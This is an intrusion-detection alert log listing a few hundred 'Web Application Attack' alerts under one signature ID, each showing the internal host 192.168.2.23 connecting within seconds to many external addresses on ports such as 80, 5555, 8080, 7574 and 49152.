2024-12-11T00:43:18.356443+0100	2029034	1	Web Application Attack	192.168.2.23	33468	168.11.66.49	80	TCP
2024-12-11T00:43:18.359426+0100	2029034	1	Web Application Attack	192.168.2.23	55826	136.244.168.161	5555	TCP
2024-12-11T00:43:18.360182+0100	2029034	1	Web Application Attack	192.168.2.23	48968	152.230.216.20	80	TCP
2024-12-11T00:43:18.360915+0100	2029034	1	Web Application Attack	192.168.2.23	60546	191.152.135.201	8080	TCP
2024-12-11T00:43:18.361287+0100	2029034	1	Web Application Attack	192.168.2.23	58080	221.50.187.178	49152	TCP
2024-12-11T00:43:18.361669+0100	2029034	1	Web Application Attack	192.168.2.23	43052	97.218.108.192	5555	TCP
2024-12-11T00:43:18.362409+0100	2029034	1	Web Application Attack	192.168.2.23	52260	141.228.135.142	7574	TCP
2024-12-11T00:43:18.363166+0100	2029034	1	Web Application Attack	192.168.2.23	60212	102.183.168.190	5555	TCP
2024-12-11T00:43:18.364282+0100	2029034	1	Web Application Attack	192.168.2.23	59710	176.129.63.174	8080	TCP
2024-12-11T00:43:18.364642+0100	2029034	1	Web Application Attack	192.168.2.23	42104	195.103.106.246	80	TCP
2024-12-11T00:43:18.365008+0100	2029034	1	Web Application Attack	192.168.2.23	47872	157.65.160.237	7574	TCP
2024-12-11T00:43:18.365746+0100	2029034	1	Web Application Attack	192.168.2.23	52626	17.113.247.169	80	TCP
2024-12-11T00:43:18.366505+0100	2029034	1	Web Application Attack	192.168.2.23	34624	218.216.106.153	49152	TCP
2024-12-11T00:43:18.366881+0100	2029034	1	Web Application Attack	192.168.2.23	57636	19.148.27.162	8080	TCP
2024-12-11T00:43:18.367631+0100	2029034	1	Web Application Attack	192.168.2.23	59804	121.37.63.175	80	TCP
2024-12-11T00:43:18.367987+0100	2029034	1	Web Application Attack	192.168.2.23	37758	4.33.109.123	8080	TCP
2024-12-11T00:43:18.369094+0100	2029034	1	Web Application Attack	192.168.2.23	53444	61.219.168.25	49152	TCP
2024-12-11T00:43:18.370584+0100	2029034	1	Web Application Attack	192.168.2.23	37266	209.30.237.251	80	TCP
2024-12-11T00:43:18.370955+0100	2029034	1	Web Application Attack	192.168.2.23	42268	161.243.235.240	80	TCP
2024-12-11T00:43:18.372073+0100	2029034	1	Web Application Attack	192.168.2.23	59308	202.99.95.205	80	TCP
2024-12-11T00:43:18.373180+0100	2029034	1	Web Application Attack	192.168.2.23	38326	168.135.70.170	80	TCP
2024-12-11T00:43:18.374288+0100	2029034	1	Web Application Attack	192.168.2.23	56956	34.70.187.128	8080	TCP
2024-12-11T00:43:18.374658+0100	2029034	1	Web Application Attack	192.168.2.23	46356	92.45.169.28	7574	TCP
2024-12-11T00:43:18.375389+0100	2029034	1	Web Application Attack	192.168.2.23	56034	219.203.86.236	80	TCP
2024-12-11T00:43:18.375767+0100	2029034	1	Web Application Attack	192.168.2.23	45748	175.171.254.37	80	TCP
2024-12-11T00:43:18.377252+0100	2029034	1	Web Application Attack	192.168.2.23	40984	143.26.169.103	80	TCP
2024-12-11T00:43:18.377989+0100	2029034	1	Web Application Attack	192.168.2.23	52762	115.50.227.165	8080	TCP
2024-12-11T00:43:18.378731+0100	2029034	1	Web Application Attack	192.168.2.23	52956	49.74.230.150	8080	TCP
2024-12-11T00:43:18.379095+0100	2029034	1	Web Application Attack	192.168.2.23	53422	97.4.184.157	7574	TCP
2024-12-11T00:43:18.383861+0100	2029034	1	Web Application Attack	192.168.2.23	37822	177.122.6.73	8080	TCP
2024-12-11T00:43:18.385003+0100	2029034	1	Web Application Attack	192.168.2.23	49482	185.7.165.100	80	TCP
2024-12-11T00:43:18.385747+0100	2029034	1	Web Application Attack	192.168.2.23	36996	27.220.140.158	80	TCP
2024-12-11T00:43:18.386841+0100	2029034	1	Web Application Attack	192.168.2.23	58798	51.82.89.206	80	TCP
2024-12-11T00:43:18.387575+0100	2029034	1	Web Application Attack	192.168.2.23	54212	157.99.17.233	49152	TCP
2024-12-11T00:43:18.389448+0100	2029034	1	Web Application Attack	192.168.2.23	58272	110.93.67.47	80	TCP
2024-12-11T00:43:18.390186+0100	2029034	1	Web Application Attack	192.168.2.23	47940	108.101.101.73	7574	TCP
2024-12-11T00:43:20.369983+0100	2029034	1	Web Application Attack	192.168.2.23	34148	126.37.62.221	7574	TCP
2024-12-11T00:43:21.320006+0100	2029034	1	Web Application Attack	192.168.2.23	43850	106.242.46.194	7574	TCP
2024-12-11T00:43:21.329116+0100	2029034	1	Web Application Attack	192.168.2.23	47720	187.43.112.15	80	TCP
2024-12-11T00:43:23.579707+0100	2029034	1	Web Application Attack	192.168.2.23	47950	138.236.242.130	49152	TCP
2024-12-11T00:43:24.079638+0100	2029034	1	Web Application Attack	192.168.2.23	53152	188.113.108.36	49152	TCP
2024-12-11T00:43:28.341430+0100	2029034	1	Web Application Attack	192.168.2.23	57986	60.182.201.114	7574	TCP
2024-12-11T00:43:28.341804+0100	2029034	1	Web Application Attack	192.168.2.23	56624	205.208.231.137	5555	TCP
2024-12-11T00:43:28.342177+0100	2029034	1	Web Application Attack	192.168.2.23	34596	111.78.72.40	80	TCP
2024-12-11T00:43:28.342549+0100	2029034	1	Web Application Attack	192.168.2.23	54386	53.210.10.234	80	TCP
2024-12-11T00:43:28.342944+0100	2029034	1	Web Application Attack	192.168.2.23	35852	165.36.4.88	49152	TCP
2024-12-11T00:43:28.377244+0100	2029034	1	Web Application Attack	192.168.2.23	36760	121.246.12.210	80	TCP
2024-12-11T00:43:28.377985+0100	2029034	1	Web Application Attack	192.168.2.23	37210	169.79.111.250	8080	TCP
2024-12-11T00:43:29.287955+0100	2029034	1	Web Application Attack	192.168.2.23	48006	9.104.175.198	5555	TCP
2024-12-11T00:43:29.290124+0100	2029034	1	Web Application Attack	192.168.2.23	43962	166.143.49.219	7574	TCP
2024-12-11T00:43:29.318746+0100	2029034	1	Web Application Attack	192.168.2.23	40162	205.6.203.133	5555	TCP
2024-12-11T00:43:29.331118+0100	2029034	1	Web Application Attack	192.168.2.23	32890	28.73.69.70	49152	TCP
2024-12-11T00:43:29.337305+0100	2029034	1	Web Application Attack	192.168.2.23	57100	96.141.159.101	8080	TCP
2024-12-11T00:43:29.339514+0100	2029034	1	Web Application Attack	192.168.2.23	34954	150.213.241.201	8080	TCP
2024-12-11T00:43:29.349725+0100	2029034	1	Web Application Attack	192.168.2.23	57176	136.96.254.154	8080	TCP
2024-12-11T00:43:29.355896+0100	2029034	1	Web Application Attack	192.168.2.23	40894	138.164.52.41	49152	TCP
2024-12-11T00:43:29.366169+0100	2029034	1	Web Application Attack	192.168.2.23	37160	126.148.68.48	5555	TCP
2024-12-11T00:43:29.375265+0100	2029034	1	Web Application Attack	192.168.2.23	50662	114.65.149.154	80	TCP
2024-12-11T00:43:29.380712+0100	2029034	1	Web Application Attack	192.168.2.23	50474	67.84.206.98	5555	TCP
2024-12-11T00:43:29.385082+0100	2029034	1	Web Application Attack	192.168.2.23	49524	201.192.233.8	80	TCP
2024-12-11T00:43:29.387270+0100	2029034	1	Web Application Attack	192.168.2.23	52562	209.205.122.138	49152	TCP
2024-12-11T00:43:29.390549+0100	2029034	1	Web Application Attack	192.168.2.23	54514	78.94.137.102	5555	TCP
2024-12-11T00:43:30.298445+0100	2029034	1	Web Application Attack	192.168.2.23	48444	19.230.61.212	80	TCP
2024-12-11T00:43:30.298777+0100	2029034	1	Web Application Attack	192.168.2.23	50092	141.55.34.21	80	TCP
2024-12-11T00:43:30.304956+0100	2029034	1	Web Application Attack	192.168.2.23	36858	142.20.61.23	80	TCP
2024-12-11T00:43:30.311496+0100	2029034	1	Web Application Attack	192.168.2.23	37960	109.175.199.233	5555	TCP
2024-12-11T00:43:30.326056+0100	2029034	1	Web Application Attack	192.168.2.23	40274	133.90.64.156	5555	TCP
2024-12-11T00:43:30.326419+0100	2029034	1	Web Application Attack	192.168.2.23	33902	168.58.175.249	49152	TCP
2024-12-11T00:43:30.330777+0100	2029034	1	Web Application Attack	192.168.2.23	51794	220.17.242.111	49152	TCP
2024-12-11T00:43:30.342053+0100	2029034	1	Web Application Attack	192.168.2.23	43336	101.211.79.46	5555	TCP
2024-12-11T00:43:30.352588+0100	2029034	1	Web Application Attack	192.168.2.23	56466	18.90.81.31	80	TCP
2024-12-11T00:43:30.360209+0100	2029034	1	Web Application Attack	192.168.2.23	42714	218.167.23.175	7574	TCP
2024-12-11T00:43:30.360582+0100	2029034	1	Web Application Attack	192.168.2.23	42532	77.187.207.82	7574	TCP
2024-12-11T00:43:30.360951+0100	2029034	1	Web Application Attack	192.168.2.23	53990	51.202.61.133	49152	TCP
2024-12-11T00:43:30.373637+0100	2029034	1	Web Application Attack	192.168.2.23	37984	173.227.189.95	80	TCP
2024-12-11T00:43:30.374380+0100	2029034	1	Web Application Attack	192.168.2.23	47524	57.237.49.225	8080	TCP
2024-12-11T00:43:30.383463+0100	2029034	1	Web Application Attack	192.168.2.23	60028	96.203.220.252	49152	TCP
2024-12-11T00:43:31.332665+0100	2029034	1	Web Application Attack	192.168.2.23	34872	136.74.73.207	7574	TCP
2024-12-11T00:43:31.348349+0100	2029034	1	Web Application Attack	192.168.2.23	40240	219.82.14.209	80	TCP
2024-12-11T00:43:31.378066+0100	2029034	1	Web Application Attack	192.168.2.23	35546	179.33.8.25	8080	TCP
2024-12-11T00:43:32.286506+0100	2029034	1	Web Application Attack	192.168.2.23	38630	27.124.53.203	80	TCP
2024-12-11T00:43:32.287246+0100	2029034	1	Web Application Attack	192.168.2.23	49854	134.249.173.68	80	TCP
2024-12-11T00:43:32.296335+0100	2029034	1	Web Application Attack	192.168.2.23	43758	177.26.75.218	7574	TCP
2024-12-11T00:43:32.306680+0100	2029034	1	Web Application Attack	192.168.2.23	47524	192.226.130.11	5555	TCP
2024-12-11T00:43:32.319438+0100	2029034	1	Web Application Attack	192.168.2.23	44592	74.188.6.77	8080	TCP
2024-12-11T00:43:32.319814+0100	2029034	1	Web Application Attack	192.168.2.23	60620	215.230.190.216	8080	TCP
2024-12-11T00:43:32.338505+0100	2029034	1	Web Application Attack	192.168.2.23	49252	113.108.229.93	80	TCP
2024-12-11T00:43:32.339280+0100	2029034	1	Web Application Attack	192.168.2.23	56578	183.204.170.57	80	TCP
2024-12-11T00:43:32.351012+0100	2029034	1	Web Application Attack	192.168.2.23	33570	49.66.23.144	80	TCP
2024-12-11T00:43:32.358030+0100	2029034	1	Web Application Attack	192.168.2.23	50342	146.143.228.51	5555	TCP
2024-12-11T00:43:32.359160+0100	2029034	1	Web Application Attack	192.168.2.23	41506	97.115.167.164	49152	TCP
2024-12-11T00:43:32.363542+0100	2029034	1	Web Application Attack	192.168.2.23	34420	156.188.135.46	80	TCP
2024-12-11T00:43:32.369004+0100	2029034	1	Web Application Attack	192.168.2.23	44984	102.138.252.122	5555	TCP
2024-12-11T00:43:32.383920+0100	2029034	1	Web Application Attack	192.168.2.23	55108	41.51.205.48	7574	TCP
2024-12-11T00:43:32.389077+0100	2029034	1	Web Application Attack	192.168.2.23	56164	3.50.46.176	8080	TCP
2024-12-11T00:43:33.296758+0100	2029034	1	Web Application Attack	192.168.2.23	58732	53.86.41.99	80	TCP
2024-12-11T00:43:34.046286+0100	2029034	1	Web Application Attack	192.168.2.23	43100	203.183.165.160	49152	TCP
2024-12-11T00:43:36.283420+0100	2029034	1	Web Application Attack	192.168.2.23	41422	76.225.145.132	80	TCP
2024-12-11T00:43:36.283702+0100	2029034	1	Web Application Attack	192.168.2.23	41852	173.143.115.27	80	TCP
2024-12-11T00:43:36.285542+0100	2029034	1	Web Application Attack	192.168.2.23	40520	147.230.138.105	80	TCP
2024-12-11T00:43:36.285913+0100	2029034	1	Web Application Attack	192.168.2.23	48384	103.83.208.93	49152	TCP
2024-12-11T00:43:36.286284+0100	2029034	1	Web Application Attack	192.168.2.23	37966	66.158.237.47	80	TCP
2024-12-11T00:43:36.287035+0100	2029034	1	Web Application Attack	192.168.2.23	48608	194.65.247.231	5555	TCP
2024-12-11T00:43:36.287404+0100	2029034	1	Web Application Attack	192.168.2.23	55342	68.206.127.40	7574	TCP
2024-12-11T00:43:36.289259+0100	2029034	1	Web Application Attack	192.168.2.23	34624	34.49.97.215	8080	TCP
2024-12-11T00:43:36.307248+0100	2029034	1	Web Application Attack	192.168.2.23	58646	39.61.64.138	80	TCP
2024-12-11T00:43:36.316600+0100	2029034	1	Web Application Attack	192.168.2.23	38192	209.97.96.87	80	TCP
2024-12-11T00:43:36.323900+0100	2029034	1	Web Application Attack	192.168.2.23	60822	20.39.219.19	8080	TCP
2024-12-11T00:43:36.340706+0100	2029034	1	Web Application Attack	192.168.2.23	55656	115.15.94.51	80	TCP
2024-12-11T00:43:36.357172+0100	2029034	1	Web Application Attack	192.168.2.23	60762	104.238.195.225	5555	TCP
2024-12-11T00:43:36.389181+0100	2029034	1	Web Application Attack	192.168.2.23	59720	104.87.39.73	8080	TCP
2024-12-11T00:43:37.285402+0100	2029034	1	Web Application Attack	192.168.2.23	54796	101.152.156.195	7574	TCP
2024-12-11T00:43:37.288733+0100	2029034	1	Web Application Attack	192.168.2.23	56600	177.244.168.82	80	TCP
2024-12-11T00:43:37.289470+0100	2029034	1	Web Application Attack	192.168.2.23	54140	217.111.105.12	7574	TCP
2024-12-11T00:43:37.316740+0100	2029034	1	Web Application Attack	192.168.2.23	51528	172.218.152.109	8080	TCP
2024-12-11T00:43:37.343266+0100	2029034	1	Web Application Attack	192.168.2.23	34694	157.191.130.64	49152	TCP
2024-12-11T00:43:37.344005+0100	2029034	1	Web Application Attack	192.168.2.23	46440	151.75.41.0	7574	TCP
2024-12-11T00:43:37.365448+0100	2029034	1	Web Application Attack	192.168.2.23	35058	198.54.10.70	5555	TCP
2024-12-11T00:43:37.374174+0100	2029034	1	Web Application Attack	192.168.2.23	32844	16.222.179.123	80	TCP
2024-12-11T00:43:37.374549+0100	2029034	1	Web Application Attack	192.168.2.23	53286	196.101.145.19	80	TCP
2024-12-11T00:43:38.153731+0100	2029034	1	Web Application Attack	192.168.2.23	43784	220.84.90.225	7574	TCP
2024-12-11T00:43:39.287559+0100	2029034	1	Web Application Attack	192.168.2.23	34648	214.40.211.208	7574	TCP
2024-12-11T00:43:39.287933+0100	2029034	1	Web Application Attack	192.168.2.23	55534	75.89.54.172	7574	TCP
2024-12-11T00:43:39.295216+0100	2029034	1	Web Application Attack	192.168.2.23	53758	179.118.33.80	80	TCP
2024-12-11T00:43:39.322912+0100	2029034	1	Web Application Attack	192.168.2.23	54666	60.224.26.52	8080	TCP
2024-12-11T00:43:39.323667+0100	2029034	1	Web Application Attack	192.168.2.23	51180	80.111.198.136	49152	TCP
2024-12-11T00:43:39.347184+0100	2029034	1	Web Application Attack	192.168.2.23	41050	72.239.95.188	8080	TCP
2024-12-11T00:43:39.365108+0100	2029034	1	Web Application Attack	192.168.2.23	45140	18.76.225.254	80	TCP
2024-12-11T00:43:39.365479+0100	2029034	1	Web Application Attack	192.168.2.23	57288	149.214.125.248	49152	TCP
2024-12-11T00:43:39.375723+0100	2029034	1	Web Application Attack	192.168.2.23	35320	8.91.128.74	7574	TCP
2024-12-11T00:43:40.323995+0100	2029034	1	Web Application Attack	192.168.2.23	37322	137.128.167.60	8080	TCP
2024-12-11T00:43:40.332305+0100	2029034	1	Web Application Attack	192.168.2.23	58964	192.187.71.247	80	TCP
2024-12-11T00:43:40.336299+0100	2029034	1	Web Application Attack	192.168.2.23	32772	71.6.68.16	80	TCP
2024-12-11T00:43:40.338484+0100	2029034	1	Web Application Attack	192.168.2.23	47506	35.231.190.141	49152	TCP
2024-12-11T00:43:40.351573+0100	2029034	1	Web Application Attack	192.168.2.23	51734	70.63.116.108	49152	TCP
2024-12-11T00:43:40.354120+0100	2029034	1	Web Application Attack	192.168.2.23	58488	53.63.73.184	5555	TCP
2024-12-11T00:43:40.366481+0100	2029034	1	Web Application Attack	192.168.2.23	55748	183.56.155.12	80	TCP
2024-12-11T00:43:40.370117+0100	2029034	1	Web Application Attack	192.168.2.23	35324	14.152.145.25	8080	TCP
2024-12-11T00:43:40.833324+0100	2029034	1	Web Application Attack	192.168.2.23	38704	185.162.133.99	8080	TCP
2024-12-11T00:43:41.286156+0100	2029034	1	Web Application Attack	192.168.2.23	35234	96.192.248.248	5555	TCP
2024-12-11T00:43:41.296669+0100	2029034	1	Web Application Attack	192.168.2.23	35670	179.153.43.135	8080	TCP
2024-12-11T00:43:41.332175+0100	2029034	1	Web Application Attack	192.168.2.23	54682	148.45.107.104	7574	TCP
2024-12-11T00:43:41.339773+0100	2029034	1	Web Application Attack	192.168.2.23	44078	132.209.72.153	8080	TCP
2024-12-11T00:43:41.349593+0100	2029034	1	Web Application Attack	192.168.2.23	53840	17.237.133.80	7574	TCP
2024-12-11T00:43:41.349960+0100	2029034	1	Web Application Attack	192.168.2.23	47910	150.16.224.52	7574	TCP
2024-12-11T00:43:41.351067+0100	2029034	1	Web Application Attack	192.168.2.23	59378	59.202.247.205	7574	TCP
2024-12-11T00:43:41.355773+0100	2029034	1	Web Application Attack	192.168.2.23	58980	6.99.173.44	5555	TCP
2024-12-11T00:43:41.356511+0100	2029034	1	Web Application Attack	192.168.2.23	33444	154.118.149.44	49152	TCP
2024-12-11T00:43:41.360657+0100	2029034	1	Web Application Attack	192.168.2.23	53558	106.230.24.185	49152	TCP
2024-12-11T00:43:41.375859+0100	2029034	1	Web Application Attack	192.168.2.23	45838	123.77.40.229	8080	TCP
2024-12-11T00:43:41.386346+0100	2029034	1	Web Application Attack	192.168.2.23	47778	170.118.4.35	8080	TCP
2024-12-11T00:43:42.280808+0100	2029034	1	Web Application Attack	192.168.2.23	36894	166.67.117.189	80	TCP
2024-12-11T00:43:42.282179+0100	2029034	1	Web Application Attack	192.168.2.23	60192	12.150.38.112	49152	TCP
2024-12-11T00:43:42.300772+0100	2029034	1	Web Application Attack	192.168.2.23	46834	61.183.117.201	7574	TCP
2024-12-11T00:43:42.301494+0100	2029034	1	Web Application Attack	192.168.2.23	36248	136.95.87.49	7574	TCP
2024-12-11T00:43:42.301856+0100	2029034	1	Web Application Attack	192.168.2.23	45776	62.197.147.85	80	TCP
2024-12-11T00:43:42.302219+0100	2029034	1	Web Application Attack	192.168.2.23	38884	203.168.46.148	49152	TCP
2024-12-11T00:43:43.283344+0100	2029034	1	Web Application Attack	192.168.2.23	48468	161.144.110.82	49152	TCP
2024-12-11T00:43:43.289507+0100	2029034	1	Web Application Attack	192.168.2.23	58896	5.112.156.32	80	TCP
2024-12-11T00:43:43.325833+0100	2029034	1	Web Application Attack	192.168.2.23	59574	175.27.152.198	80	TCP
2024-12-11T00:43:43.337086+0100	2029034	1	Web Application Attack	192.168.2.23	56980	203.147.168.90	49152	TCP
2024-12-11T00:43:43.349803+0100	2029034	1	Web Application Attack	192.168.2.23	52114	71.7.135.170	7574	TCP
2024-12-11T00:43:44.285896+0100	2029034	1	Web Application Attack	192.168.2.23	58846	79.57.139.218	8080	TCP
2024-12-11T00:43:44.302895+0100	2029034	1	Web Application Attack	192.168.2.23	49984	117.188.135.241	5555	TCP
2024-12-11T00:43:44.322678+0100	2029034	1	Web Application Attack	192.168.2.23	56288	163.199.121.3	80	TCP
2024-12-11T00:43:44.347334+0100	2029034	1	Web Application Attack	192.168.2.23	54326	188.155.53.3	5555	TCP
2024-12-11T00:43:44.350279+0100	2029034	1	Web Application Attack	192.168.2.23	50186	1.47.253.152	5555	TCP
2024-12-11T00:43:44.350648+0100	2029034	1	Web Application Attack	192.168.2.23	33372	33.141.149.177	5555	TCP
2024-12-11T00:43:44.372574+0100	2029034	1	Web Application Attack	192.168.2.23	36430	118.200.202.188	49152	TCP
2024-12-11T00:43:44.373305+0100	2029034	1	Web Application Attack	192.168.2.23	44768	196.77.36.236	80	TCP
2024-12-11T00:43:44.388192+0100	2029034	1	Web Application Attack	192.168.2.23	34756	131.92.123.17	8080	TCP
2024-12-11T00:43:45.304338+0100	2029034	1	Web Application Attack	192.168.2.23	53970	75.42.18.216	80	TCP
2024-12-11T00:43:45.361865+0100	2029034	1	Web Application Attack	192.168.2.23	59394	88.94.164.139	5555	TCP
2024-12-11T00:43:46.302564+0100	2029034	1	Web Application Attack	192.168.2.23	37708	154.144.254.242	80	TCP
2024-12-11T00:43:46.316744+0100	2029034	1	Web Application Attack	192.168.2.23	42920	94.165.171.6	5555	TCP
2024-12-11T00:43:46.331253+0100	2029034	1	Web Application Attack	192.168.2.23	39618	117.15.127.131	7574	TCP
2024-12-11T00:43:46.379987+0100	2029034	1	Web Application Attack	192.168.2.23	41850	205.175.182.77	8080	TCP
2024-12-11T00:43:46.384344+0100	2029034	1	Web Application Attack	192.168.2.23	34726	214.252.221.203	7574	TCP
2024-12-11T00:43:47.285563+0100	2029034	1	Web Application Attack	192.168.2.23	51676	163.114.7.60	80	TCP
2024-12-11T00:43:47.315285+0100	2029034	1	Web Application Attack	192.168.2.23	52080	99.140.176.25	7574	TCP
2024-12-11T00:43:47.333164+0100	2029034	1	Web Application Attack	192.168.2.23	60128	78.39.176.95	8080	TCP
2024-12-11T00:43:47.362176+0100	2029034	1	Web Application Attack	192.168.2.23	36504	11.240.129.254	80	TCP
2024-12-11T00:43:47.375262+0100	2029034	1	Web Application Attack	192.168.2.23	59172	204.28.245.60	80	TCP
2024-12-11T00:43:47.375630+0100	2029034	1	Web Application Attack	192.168.2.23	52098	222.82.137.124	49152	TCP
2024-12-11T00:43:47.377826+0100	2029034	1	Web Application Attack	192.168.2.23	54682	27.2.41.242	80	TCP
2024-12-11T00:43:47.378194+0100	2029034	1	Web Application Attack	192.168.2.23	53492	165.84.76.202	7574	TCP
2024-12-11T00:43:47.378564+0100	2029034	1	Web Application Attack	192.168.2.23	40540	208.6.208.136	5555	TCP
2024-12-11T00:43:47.379291+0100	2029034	1	Web Application Attack	192.168.2.23	37970	99.197.110.96	7574	TCP
2024-12-11T00:43:47.379667+0100	2029034	1	Web Application Attack	192.168.2.23	43372	27.130.12.16	80	TCP
2024-12-11T00:43:47.380039+0100	2029034	1	Web Application Attack	192.168.2.23	42004	180.145.130.51	80	TCP
2024-12-11T00:43:47.382960+0100	2029034	1	Web Application Attack	192.168.2.23	33058	56.243.106.119	8080	TCP
2024-12-11T00:43:48.283369+0100	2029034	1	Web Application Attack	192.168.2.23	60572	206.80.60.184	49152	TCP
2024-12-11T00:43:48.319787+0100	2029034	1	Web Application Attack	192.168.2.23	33884	60.213.88.80	7574	TCP
2024-12-11T00:43:48.320157+0100	2029034	1	Web Application Attack	192.168.2.23	32946	143.92.171.238	8080	TCP
2024-12-11T00:43:48.322712+0100	2029034	1	Web Application Attack	192.168.2.23	56222	115.253.80.169	49152	TCP
2024-12-11T00:43:48.339396+0100	2029034	1	Web Application Attack	192.168.2.23	42566	109.243.209.44	7574	TCP
2024-12-11T00:43:48.361009+0100	2029034	1	Web Application Attack	192.168.2.23	50652	86.216.243.129	7574	TCP
2024-12-11T00:43:48.377987+0100	2029034	1	Web Application Attack	192.168.2.23	55628	178.22.168.26	49152	TCP
2024-12-11T00:43:49.285695+0100	2029034	1	Web Application Attack	192.168.2.23	35918	153.25.192.82	7574	TCP
2024-12-11T00:43:49.302433+0100	2029034	1	Web Application Attack	192.168.2.23	55360	126.188.12.126	80	TCP
2024-12-11T00:43:49.329339+0100	2029034	1	Web Application Attack	192.168.2.23	60386	166.190.152.42	80	TCP
2024-12-11T00:43:49.386160+0100	2029034	1	Web Application Attack	192.168.2.23	60148	164.163.173.154	49152	TCP
2024-12-11T00:43:49.386916+0100	2029034	1	Web Application Attack	192.168.2.23	46420	3.124.127.185	49152	TCP
2024-12-11T00:43:50.279743+0100	2029034	1	Web Application Attack	192.168.2.23	46258	128.148.246.68	8080	TCP
2024-12-11T00:43:50.286667+0100	2029034	1	Web Application Attack	192.168.2.23	41916	126.151.72.119	5555	TCP
2024-12-11T00:43:50.300102+0100	2029034	1	Web Application Attack	192.168.2.23	36596	50.110.115.30	8080	TCP
2024-12-11T00:43:50.307025+0100	2029034	1	Web Application Attack	192.168.2.23	36082	186.43.106.240	80	TCP
2024-12-11T00:43:50.359743+0100	2029034	1	Web Application Attack	192.168.2.23	56938	125.216.231.239	80	TCP
2024-12-11T00:43:50.367007+0100	2029034	1	Web Application Attack	192.168.2.23	45772	30.60.58.183	8080	TCP
2024-12-11T00:43:50.383779+0100	2029034	1	Web Application Attack	192.168.2.23	53432	156.42.96.247	5555	TCP
2024-12-11T00:43:50.983947+0100	2029034	1	Web Application Attack	192.168.2.23	42970	113.43.249.228	49152	TCP
2024-12-11T00:43:51.281280+0100	2029034	1	Web Application Attack	192.168.2.23	33956	20.68.156.158	8080	TCP
2024-12-11T00:43:51.293449+0100	2029034	1	Web Application Attack	192.168.2.23	51944	79.149.151.18	80	TCP
2024-12-11T00:43:51.296388+0100	2029034	1	Web Application Attack	192.168.2.23	37162	191.46.111.119	49152	TCP
2024-12-11T00:43:51.296762+0100	2029034	1	Web Application Attack	192.168.2.23	56914	58.68.44.87	80	TCP
2024-12-11T00:43:51.297133+0100	2029034	1	Web Application Attack	192.168.2.23	40294	15.16.177.99	5555	TCP
2024-12-11T00:43:51.300046+0100	2029034	1	Web Application Attack	192.168.2.23	45108	114.23.158.95	80	TCP
2024-12-11T00:43:51.315329+0100	2029034	1	Web Application Attack	192.168.2.23	37110	36.251.164.122	7574	TCP
2024-12-11T00:43:51.319346+0100	2029034	1	Web Application Attack	192.168.2.23	60036	121.2.173.42	7574	TCP
2024-12-11T00:43:51.320086+0100	2029034	1	Web Application Attack	192.168.2.23	35814	124.232.34.0	5555	TCP
2024-12-11T00:43:51.343264+0100	2029034	1	Web Application Attack	192.168.2.23	35688	130.4.44.249	80	TCP
2024-12-11T00:43:51.363732+0100	2029034	1	Web Application Attack	192.168.2.23	36814	124.76.112.210	8080	TCP
2024-12-11T00:43:51.847899+0100	2029034	1	Web Application Attack	192.168.2.23	53004	46.201.228.76	8080	TCP
2024-12-11T00:43:52.283546+0100	2029034	1	Web Application Attack	192.168.2.23	50626	105.87.20.19	8080	TCP
2024-12-11T00:43:52.291144+0100	2029034	1	Web Application Attack	192.168.2.23	53770	128.132.200.76	7574	TCP
2024-12-11T00:43:52.291520+0100	2029034	1	Web Application Attack	192.168.2.23	58920	214.208.107.113	5555	TCP
2024-12-11T00:43:52.311957+0100	2029034	1	Web Application Attack	192.168.2.23	43014	13.238.239.235	49152	TCP
2024-12-11T00:43:52.316549+0100	2029034	1	Web Application Attack	192.168.2.23	60082	139.233.195.219	8080	TCP
2024-12-11T00:43:52.335743+0100	2029034	1	Web Application Attack	192.168.2.23	44398	182.52.150.126	7574	TCP
2024-12-11T00:43:52.359503+0100	2029034	1	Web Application Attack	192.168.2.23	36336	120.228.91.126	7574	TCP
2024-12-11T00:43:52.380181+0100	2029034	1	Web Application Attack	192.168.2.23	33408	126.196.147.47	49152	TCP
2024-12-11T00:43:53.303360+0100	2029034	1	Web Application Attack	192.168.2.23	57996	163.142.85.49	7574	TCP
2024-12-11T00:43:53.310248+0100	2029034	1	Web Application Attack	192.168.2.23	36376	42.123.190.33	8080	TCP
2024-12-11T00:43:53.312786+0100	2029034	1	Web Application Attack	192.168.2.23	44252	83.231.181.232	49152	TCP
2024-12-11T00:43:53.329177+0100	2029034	1	Web Application Attack	192.168.2.23	38378	133.132.31.121	49152	TCP
2024-12-11T00:43:53.337951+0100	2029034	1	Web Application Attack	192.168.2.23	50968	220.157.125.178	49152	TCP
2024-12-11T00:43:53.343809+0100	2029034	1	Web Application Attack	192.168.2.23	54464	5.127.178.197	49152	TCP
2024-12-11T00:43:53.348916+0100	2029034	1	Web Application Attack	192.168.2.23	36422	165.102.249.29	8080	TCP
2024-12-11T00:43:53.349645+0100	2029034	1	Web Application Attack	192.168.2.23	48630	82.201.90.58	80	TCP
2024-12-11T00:43:53.350383+0100	2029034	1	Web Application Attack	192.168.2.23	43248	190.58.45.87	80	TCP
2024-12-11T00:43:53.350763+0100	2029034	1	Web Application Attack	192.168.2.23	33292	75.117.165.28	5555	TCP
2024-12-11T00:43:53.359235+0100	2029034	1	Web Application Attack	192.168.2.23	46522	65.103.37.42	8080	TCP
2024-12-11T00:43:53.365433+0100	2029034	1	Web Application Attack	192.168.2.23	39906	43.240.202.140	49152	TCP
2024-12-11T00:43:54.281882+0100	2029034	1	Web Application Attack	192.168.2.23	43954	153.243.22.46	80	TCP
2024-12-11T00:43:54.299810+0100	2029034	1	Web Application Attack	192.168.2.23	59272	101.161.105.213	7574	TCP
2024-12-11T00:43:54.300546+0100	2029034	1	Web Application Attack	192.168.2.23	38622	36.252.136.224	80	TCP
2024-12-11T00:43:54.304920+0100	2029034	1	Web Application Attack	192.168.2.23	56978	91.36.210.154	5555	TCP
2024-12-11T00:43:54.313305+0100	2029034	1	Web Application Attack	192.168.2.23	56300	184.115.100.163	5555	TCP
2024-12-11T00:43:54.334735+0100	2029034	1	Web Application Attack	192.168.2.23	52664	205.160.164.41	80	TCP
2024-12-11T00:43:54.353235+0100	2029034	1	Web Application Attack	192.168.2.23	43368	65.30.252.237	7574	TCP
2024-12-11T00:43:54.353607+0100	2029034	1	Web Application Attack	192.168.2.23	58198	148.241.176.49	5555	TCP
2024-12-11T00:43:54.368367+0100	2029034	1	Web Application Attack	192.168.2.23	47876	139.34.68.125	5555	TCP
2024-12-11T00:43:54.374553+0100	2029034	1	Web Application Attack	192.168.2.23	55718	32.154.86.129	80	TCP
2024-12-11T00:43:54.991377+0100	2029034	1	Web Application Attack	192.168.2.23	38586	126.34.221.197	7574	TCP
2024-12-11T00:43:55.284241+0100	2029034	1	Web Application Attack	192.168.2.23	39862	184.184.118.78	7574	TCP
